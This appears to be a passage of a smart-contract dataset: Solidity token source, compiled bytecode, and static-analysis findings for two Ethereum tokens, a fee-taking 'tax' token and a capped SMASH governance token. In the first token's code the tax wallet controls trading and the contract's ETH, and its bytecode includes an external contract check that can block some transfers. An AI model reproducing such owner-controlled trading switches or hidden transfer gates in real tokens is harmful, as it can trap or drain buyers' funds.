if(contractETHBalance > TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function endTrading() external onlyTaxCollector{ require(_canTrade,"Trading is not started yet"); _swapEnabled = false; _canTrade = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102915780639e752b95146102c0578063a9059cbb146102e0578063dd62ed3e14610300578063f42938901461034657600080fd5b806356d9dce81461021f57806370a0823114610234578063715018a6146102545780638da5cb5b1461026957600080fd5b8063293230b8116100d1578063293230b8146101c2578063313ce567146101d95780633e07ce5b146101f557806351bc3c851461020a57600080fd5b806306fdde031461010e578063095ea7b31461014f57806318160ddd1461017f57806323b872dd146101a257600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600681526523b2b733b0b960d11b60208201525b60405161014691906114f2565b60405180910390f35b34801561015b57600080fd5b5061016f61016a36600461155c565b61035b565b6040519015158152602001610146565b34801561018b57600080fd5b50610194610372565b604051908152602001610146565b3480156101ae57600080fd5b5061016f6101bd366004611588565b610393565b3480156101ce57600080fd5b506101d76103fc565b005b3480156101e557600080fd5b5060405160068152602001610146565b34801561020157600080fd5b506101d7610774565b34801561021657600080fd5b506101d76107aa565b34801561022b57600080fd5b506101d76107d7565b34801561024057600080fd5b5061019461024f3660046115c9565b610858565b34801561026057600080fd5b506101d761087a565b34801561027557600080fd5b506000546040516001600160a01b039091168152602001610146565b34801561029d57600080fd5b5060408051808201909152600681526523a2a723a0a960d11b6020820152610139565b3480156102cc57600080fd5b506101d76102db3660046115e6565b61091e565b3480156102ec57600080fd5b5061016f6102fb36600461155c565b610947565b34801561030c57600080fd5b5061019461031b3660046115ff565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035257600080fd5b506101d7610954565b60006103683384846109be565b5060015b92915050565b60006103806006600a611732565b61038e906305f5e100611741565b905090565b60006103a0848484610ae2565b6103f284336103ed856040518060600160405280602881526020016118bf602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e1e565b6109be565b5060019392505050565b6009546001600160a01b0316331461041357600080fd5b600c54600160a01b900460ff16156104725760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b5461049e9030906001600160a01b03166104906006600a611732565b6103ed906305f5e100611741565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105159190611760565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610577573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059b9190611760565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060c9190611760565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061063c81610858565b6000806106516000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106b9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106de919061177d565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561074d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077191906117ab565b50565b6009546001600160a01b0316331461078b57600080fd5b6107976006600a611732565b6107a5906305f5e100611741565b600a55565b6009546001600160a01b031633146107c157600080fd5b60006107cc30610858565b905061077181610e58565b6009546001600160a01b031633146107ee57600080fd5b600c54600160a01b900460ff166108475760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f742073746172746564207965740000000000006044820152606401610469565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461036c90610fd2565b6000546001600160a01b031633146108d45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610469565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461093557600080fd5b6009811061094257600080fd5b600855565b6000610368338484610ae2565b6009546001600160a01b0316331461096b57600080fd5b476107718161104f565b60006109b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061108d565b9392505050565b6001600160a01b038316610a205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610469565b6001600160a01b038216610a815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610469565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b465760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610469565b6001600160a01b038216610ba85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610469565b60008111610c0a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610469565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c7d91906117cd565b600c546001600160a01b038481169116148015610ca85750600b546001600160a01b03858116911614155b610cb3576000610cb5565b815b1115610cc057600080fd5b6000546001600160a01b03848116911614801590610cec57506000546001600160a01b03838116911614155b15610e0e57600c546001600160a01b038481169116148015610d1c5750600b546001600160a01b03838116911614155b8015610d4157506001600160a01b03821660009081526004602052604090205460ff16155b15610d9757600a548110610d975760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610469565b6000610da230610858565b600c54909150600160a81b900460ff16158015610dcd5750600c546001600160a01b03858116911614155b8015610de25750600c54600160b01b900460ff165b15610e0c57610df081610e58565b47670de0b6b3a7640000811115610e0a57610e0a4761104f565b505b505b610e198383836110bb565b505050565b60008184841115610e425760405162461bcd60e51b815260040161046991906114f2565b506000610e4f84866117e6565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea057610ea06117fd565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ef9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1d9190611760565b81600181518110610f3057610f306117fd565b6001600160a01b039283166020918202929092010152600b54610f5691309116846109be565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f8f908590600090869030904290600401611813565b600060405180830381600087803b158015610fa957600080fd5b505af1158015610fbd573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b60006005548211156110395760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610469565b60006110436110c6565b90506109b78382610975565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611089573d6000803e3d6000fd5b5050565b600081836110ae5760405162461bcd60e51b815260040161046991906114f2565b506000610e4f8486611884565b610e198383836110e9565b60008060006110d36111e0565b90925090506110e28282610975565b9250505090565b6000806000806000806110fb87611262565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061112d90876112bf565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461115c9086611301565b6001600160a01b03891660009081526002602052604090205561117e81611360565b61118884836113aa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111cd91815260200190565b60405180910390a3505050505050505050565b6005546000908190816111f56006600a611732565b611203906305f5e100611741565b905061122b6112146006600a611732565b611222906305f5e100611741565b60055490610975565b821015611259576005546112416006600a611732565b61124f906305f5e100611741565b9350935050509091565b90939092509050565b600080600080600080600080600061127f8a6007546008546113ce565b925092509250600061128f6110c6565b905060008060006112a28e878787611423565b919e509c509a509598509396509194505050505091939550919395565b60006109b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e1e565b60008061130e83856118a6565b9050838110156109b75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610469565b600061136a6110c6565b905060006113788383611473565b306000908152600260205260409020549091506113959082611301565b30600090815260026020526040902055505050565b6005546113b790836112bf565b6005556006546113c79082611301565b6006555050565b60008080806113e860646113e28989611473565b90610975565b905060006113fb60646113e28a89611473565b905060006114138261140d8b866112bf565b906112bf565b9992985090965090945050505050565b60008080806114328886611473565b905060006114408887611473565b9050600061144e8888611473565b905060006114608261140d86866112bf565b939b939a50919850919650505050505050565b6000826114825750600061036c565b600061148e8385611741565b90508261149b8583611884565b146109b75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610469565b600060208083528351808285015260005b8181101561151f57858101830151858201604001528201611503565b81811115611531576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461077157600080fd5b6000806040838503121561156f57600080fd5b823561157a81611547565b946020939093013593505050565b60008060006060848603121561159d57600080fd5b83356115a881611547565b925060208401356115b881611547565b929592945050506040919091013590565b6000602082840312156115db57600080fd5b81356109b781611547565b6000602082840312156115f857600080fd5b5035919050565b6000806040838503121561161257600080fd5b823561161d81611547565b9150602083013561162d81611547565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561168957816000190482111561166f5761166f611638565b8085161561167c57918102915b93841c9390800290611653565b509250929050565b6000826116a05750600161036c565b816116ad5750600061036c565b81600181146116c357600281146116cd576116e9565b600191505061036c565b60ff8411156116de576116de611638565b50506001821b61036c565b5060208310610133831016604e8410600b841016171561170c575081810a61036c565b611716838361164e565b806000190482111561172a5761172a611638565b029392505050565b60006109b760ff841683611691565b600081600019048311821515161561175b5761175b611638565b500290565b60006020828403121561177257600080fd5b81516109b781611547565b60008060006060848603121561179257600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117bd57600080fd5b815180151581146109b757600080fd5b6000602082840312156117df57600080fd5b5051919050565b6000828210156117f8576117f8611638565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118635784516001600160a01b03168352938301939183019160010161183e565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118a157634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118b9576118b9611638565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122045b793309d253d62a71e7518212149100abe8f13620652463357141bc54b776864736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,175
0x050a55b7bd1f76a57e564aedf924e0c141000259
/** *Submitted for verification at Etherscan.io on 2020-11-28 */ // SPDX-License-Identifier: MIT // _________ _____ _____ _________ ___ ___ // / _____/ / \ / _ \ / _____// | \ // \_____ \ / \ / \ / /_\ \ \_____ \/ ~ \ // / \/ Y \/ | \/ \ Y / // /_______ /\____|__ /\____|__ /_______ /\___|_ / // \/ \/ \/ \/ \/ pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library BoringMath { function add(uint a, uint b) internal pure returns (uint256) { return add(a, b, "BoringMath: Add Overflow"); } function add(uint a, uint b, string memory errorMessage) internal pure returns (uint c) {require((c = a + b) >= b, errorMessage);} function sub(uint a, uint b) internal pure returns (uint256) { return sub(a, b, "BoringMath: Underflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint c) {require((c = a - b) <= a, errorMessage);} function mul(uint a, uint b) internal pure returns (uint256) { return mul(a, b, "BoringMath: Mul Overflow"); } function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint c) {require(b == 0 || (c = a * b)/b == a, errorMessage);} } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract ERC20 is Context, IERC20 { using BoringMath for uint256; using Address for address; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract AdminContract is Ownable { mapping(address => bool) public governanceContracts; event GovernanceContractAdded(address addr); event GovernanceContractRemoved(address addr); modifier onlyGovernance() { require(governanceContracts[msg.sender], "Isn't governance address"); _; } function addAddress(address addr) public onlyOwner returns (bool success) { if (!governanceContracts[addr]) { governanceContracts[addr] = true; emit GovernanceContractAdded(addr); success = true; } } function removeAddress(address addr) public onlyOwner returns (bool success) { if (governanceContracts[addr]) { governanceContracts[addr] = false; emit GovernanceContractRemoved(addr); success = true; } } } library SafeERC20 { using BoringMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } contract SmashToken is ERC20("SMASH token", "SMASH"), AdminContract { uint256 public maxSupply = 99000 * 1e18; function mint(address _to, uint256 _amount) public virtual onlyGovernance returns (bool) { require( totalSupply().add(_amount) <= maxSupply, "Emission limit exceeded" ); _mint(_to, _amount); return true; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806350500a8a116100ad578063a457c2d711610071578063a457c2d714610377578063a9059cbb146103a3578063d5abeb01146103cf578063dd62ed3e146103d7578063f2fde38b1461040557610121565b806350500a8a146102f557806370a082311461031b578063715018a6146103415780638da5cb5b1461034b57806395d89b411461036f57610121565b8063313ce567116100f4578063313ce5671461023357806338eada1c14610251578063395093511461027757806340c10f19146102a35780634ba79dfe146102cf57610121565b806306fdde0314610126578063095ea7b3146101a357806318160ddd146101e357806323b872dd146101fd575b600080fd5b61012e61042b565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101cf600480360360408110156101b957600080fd5b506001600160a01b0381351690602001356104c1565b604080519115158252519081900360200190f35b6101eb6104de565b60408051918252519081900360200190f35b6101cf6004803603606081101561021357600080fd5b506001600160a01b038135811691602081013590911690604001356104e4565b61023b61056b565b6040805160ff9092168252519081900360200190f35b6101cf6004803603602081101561026757600080fd5b50356001600160a01b0316610574565b6101cf6004803603604081101561028d57600080fd5b506001600160a01b038135169060200135610654565b6101cf600480360360408110156102b957600080fd5b506001600160a01b0381351690602001356106a2565b6101cf600480360360208110156102e557600080fd5b50356001600160a01b0316610778565b6101cf6004803603602081101561030b57600080fd5b50356001600160a01b0316610855565b6101eb6004803603602081101561033157600080fd5b50356001600160a01b031661086a565b610349610885565b005b610353610932565b604080516001600160a01b039092168252519081900360200190f35b61012e610946565b6101cf6004803603604081101561038d57600080fd5b506001600160a01b0381351690602001356109a7565b6101cf600480360360408110156103b957600080fd5b506001600160a01b038135169060200135610a0f565b6101eb610a23565b6101eb600480360360408110156103ed57600080fd5b506001600160a01b0381358116916020013516610a29565b6103496004803603602081101561041b57600080fd5b50356001600160a01b0316610a54565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104b75780601f1061048c576101008083540402835291602001916104b7565b820191906000526020600020905b81548152906001019060200180831161049a57829003601f168201915b5050505050905090565b60006104d56104ce610b5d565b8484610b61565b50600192915050565b60025490565b60006104f1848484610c4d565b610561846104fd610b5d565b61055c85604051806060016040528060288152602001611063602891396001600160a01b038a1660009081526001602052604081209061053b610b5d565b6001600160a01b031681526020810191909152604001600020549190610da8565b610b61565b5060019392505050565b60055460ff1690565b600061057e610b5d565b60055461010090046001600160a01b039081169116146105d3576040805162461bcd60e51b8152602060048201819052602482015260008051602061108b833981519152604482015290519081900360640190fd5b6001600160a01b03821660009081526006602052604090205460ff1661064f576001600160a01b038216600081815260066020908152604091829020805460ff19166001179055815192835290517fc8b076565c11e989d811cc9ebc33f3fc9d6a635f402f80ca900c7c126ba887489281900390910190a15060015b919050565b60006104d5610661610b5d565b8461055c8560016000610672610b5d565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610e40565b3360009081526006602052604081205460ff16610706576040805162461bcd60e51b815260206004820152601860248201527f49736e277420676f7665726e616e636520616464726573730000000000000000604482015290519081900360640190fd5b60075461071b836107156104de565b90610e40565b111561076e576040805162461bcd60e51b815260206004820152601760248201527f456d697373696f6e206c696d6974206578636565646564000000000000000000604482015290519081900360640190fd5b6104d58383610e89565b6000610782610b5d565b60055461010090046001600160a01b039081169116146107d7576040805162461bcd60e51b8152602060048201819052602482015260008051602061108b833981519152604482015290519081900360640190fd5b6001600160a01b03821660009081526006602052604090205460ff161561064f576001600160a01b038216600081815260066020908152604091829020805460ff19169055815192835290517f6143afc7a354e1ab1c3f52714297bfe2a0958df8cd9e15f84953a51264bb52bc9281900390910190a1506001919050565b60066020526000908152604090205460ff1681565b6001600160a01b031660009081526020819052604090205490565b61088d610b5d565b60055461010090046001600160a01b039081169116146108e2576040805162461bcd60e51b8152602060048201819052602482015260008051602061108b833981519152604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104b75780601f1061048c576101008083540402835291602001916104b7565b60006104d56109b4610b5d565b8461055c856040518060600160405280602581526020016110f460259139600160006109de610b5d565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610da8565b60006104d5610a1c610b5d565b8484610c4d565b60075481565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610a5c610b5d565b60055461010090046001600160a01b03908116911614610ab1576040805162461bcd60e51b8152602060048201819052602482015260008051602061108b833981519152604482015290519081900360640190fd5b6001600160a01b038116610af65760405162461bcd60e51b8152600401808060200182810382526026815260200180610ff56026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b3390565b6001600160a01b038316610ba65760405162461bcd60e51b81526004018080602001828103825260248152602001806110d06024913960400191505060405180910390fd5b6001600160a01b038216610beb5760405162461bcd60e51b815260040180806020018281038252602281526020018061101b6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610c925760405162461bcd60e51b81526004018080602001828103825260258152602001806110ab6025913960400191505060405180910390fd5b6001600160a01b038216610cd75760405162461bcd60e51b8152600401808060200182810382526023815260200180610fd26023913960400191505060405180910390fd5b610ce2838383610f79565b610d1f8160405180606001604052806026815260200161103d602691396001600160a01b0386166000908152602081905260409020549190610da8565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610d4e9082610e40565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b8183038184821115610e385760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610dfd578181015183820152602001610de5565b50505050905090810190601f168015610e2a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b509392505050565b6000610e8283836040518060400160405280601881526020017f426f72696e674d6174683a20416464204f766572666c6f770000000000000000815250610f7e565b9392505050565b6001